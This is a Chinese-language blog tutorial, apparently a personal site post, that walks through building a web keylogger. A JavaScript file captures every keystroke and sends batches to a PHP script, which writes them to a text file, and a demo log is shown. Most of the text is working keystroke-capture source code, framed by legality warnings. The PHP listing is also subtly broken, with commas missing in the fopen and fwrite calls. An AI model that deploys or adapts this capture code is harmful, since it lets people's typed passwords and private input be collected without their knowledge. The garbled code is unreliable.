用 PHP 和 JavaScript 创建键盘记录器

admin 2023-12-13 40 阅读 0评论

键盘记录器是一种常见的应用程序类型,可记录用户在计算机或手机上键入的输入。键盘记录器通常用于收集用户的个人信息,例如用户活动跟踪和输入的密码等。

在开始本教程之前,请注意:在未经所有者同意的情况下安装键盘记录器是非法的。请仅将此信息用于合法目的,例如测试安全措施或教育目的。

安装 Apache Web 服务器

要托管基本的 HTML 页面,您需要安装 Apache Web 服务器。如果您的系统上尚未安装 Apache,请使用以下命令:

sudo apt install apache2

然后将目录更改为 Apache Web 服务器位置。

cd /var/www/html

这是我放置网站文件的位置。

创建基本 HTML 页面

在本步骤中,我们将使用 Nano 文本编辑器创建一个基本 HTML 页面。

首先,打开终端并导航到要创建页面的位置。然后,使用以下命令创建一个新文件:

nano index.html

打开文件后,粘贴以下代码:

<!DOCTYPE html>
<html>
 <head>
  <title>键盘记录器</title>
  <meta charset="utf-8">
<style>
textarea {
 width: 40%;
 height: 200px;
 font-size: 18px;

}
</style>
  <script src="keylog.js"></script>
 </head>
 <body>
  <h1>您输入的所有内容都将被记录!</h1>
  <textarea></textarea>
 </body>

这段代码定义了一个简单的 HTML 页面,带有一个标题、文本区域元素和一个包含键盘记录功能的 JavaScript 文件引用。

<script src=”keylog.js”></script>:包括一个名为“keylog.js”的外部 JavaScript 文件,我将在下一步中创建该文件。该脚本将负责处理键盘记录功能。

<textarea></textarea>:创建用户可以使用键盘键入的文本区域元素。

创建键盘记录器 JavaScript 文件

在本步骤中,我们将创建一个名为“keylog.js”的 JavaScript 文件,该文件将负责键盘记录功能。

首先,打开终端并导航到要创建文件的位置。然后,使用以下命令创建一个新文件:

nano keylog.js

打开文件后,粘贴以下代码:

var keylog = {
 // 设置
 cache: [], // 临时存储按键
 delay: 1000, // 每隔多久发送一次数据到服务器
 sending: false, // 标志,允许一次上传

 // 初始化
 init: () => {
  // 捕获按键
  window.addEventListener("keydown", evt => keylog.cache.push(evt.key));

  // 发送按键
  window.setInterval(keylog.send, keylog.delay);
 },

 // AJAX
 send: () => {
  if (!keylog.sending && keylog.cache.length != 0) {
   // 锁定,直到这批数据发送到服务器
   keylog.sending = true;
  // 按键数据
  var data = new FormData();
  data.append("keys", JSON.stringify(keylog.cache));
  keylog.cache = []; // 清除按键

  // 发送
  fetch("keylog.php", { method: "POST", body: data })
  .then(res => res.text())
  .then(res => {
   keylog.sending = false; // 解锁
   console.log(res); // 可选
  })
  .catch(err => console.error(err));
 }}
};
window.addEventListener("DOMContentLoaded", keylog.init);

该代码本质上创建了一个基本的键盘记录器,用于捕获用户在网页上的按键操作。键盘记录器收集这些按键并将其发送到服务器。

收集的数据将传输到名为“keylog.php”的服务器端脚本,您需要在下一步中创建该脚本。

创建键盘记录器服务器端脚本

在本步骤中,我们将创建一个名为“keylog.php”的 PHP 脚本,该脚本将负责处理来自 JavaScript 脚本的键盘记录数据。

首先,打开终端并导航到要创建文件的位置。然后,使用以下命令创建一个新文件:

nano keylog.php

打开文件后,粘贴以下代码:

<?php

// (A) 打开键盘记录文件,追加模式
$file = fopen("keylog.txt""a+");

// (B) 保存击键
$keys = json_decode($_POST["keys"]);
foreach ($keys as $k => $v) {
  fwrite($file$v . PHP_EOL);
}

// (C) 关闭并结束
fclose($file);
echo "OK";

?>

这段代码将按以下步骤工作:

  • 使用 fopen() 函数打开名为“keylog.txt”的文件,以追加模式打开。
  • 使用 json_decode() 函数将来自 JavaScript 脚本的键盘记录数据解码为 JSON 对象。
  • 使用 foreach() 循环遍历键盘记录数据。
  • 使用 fwrite() 函数将每个击键写入文件。
  • 使用 fclose() 函数关闭文件。

要使用此脚本,您需要确保创建名为“keylog.txt”的文本文件。

至此,Apache Web 目录 (/var/www/html) 中应该有四个文件:index.htmlkeylog.jskeylog.php 和 keylog.txt。您可以使用 ls 命令列出这些文件:

ls /var/www/html

您应该看到以下输出:

index.html keylog.js keylog.php keylog.txt

现在,使用以下命令重新启动 Web 服务器:

service apache2 restart

让我们在浏览器中使用本地 IP 地址访问该网页。

在文本区域中,我将输入“Hello !”。

现在让我们切换到 Apache Web 服务器位置并使用 nano 打开“keylog.txt”文件。

nano keylog.txt
ShiftHelloShift!

正如你所看到的,我已经成功捕获了击键。

在本教程中,您学习了如何使用 PHP 和 JavaScript 创建键盘记录器。键盘记录器是一种用于捕获用户击键的工具,可以用于各种目的,例如安全审计、用户行为分析和故障排除。

然而,重要的是要注意,在用户不知情的情况下进行键盘记录是非法的且不道德的。如果您出于任何目的想要捕获击键,请确保用户完全意识到他们的击键正在被记录。

发表评论

快捷回复: 表情:
Addoil Applause Badlaugh Bomb Coffee Fabulous Facepalm Feces Frown Heyha Insidious KeepFighting NoProb PigHead Shocked Sinistersmile Slap Social Sweat Tolaugh Watermelon Witty Wow Yeah Yellowdog
提交
评论列表 (有 0 条评论, 40人围观)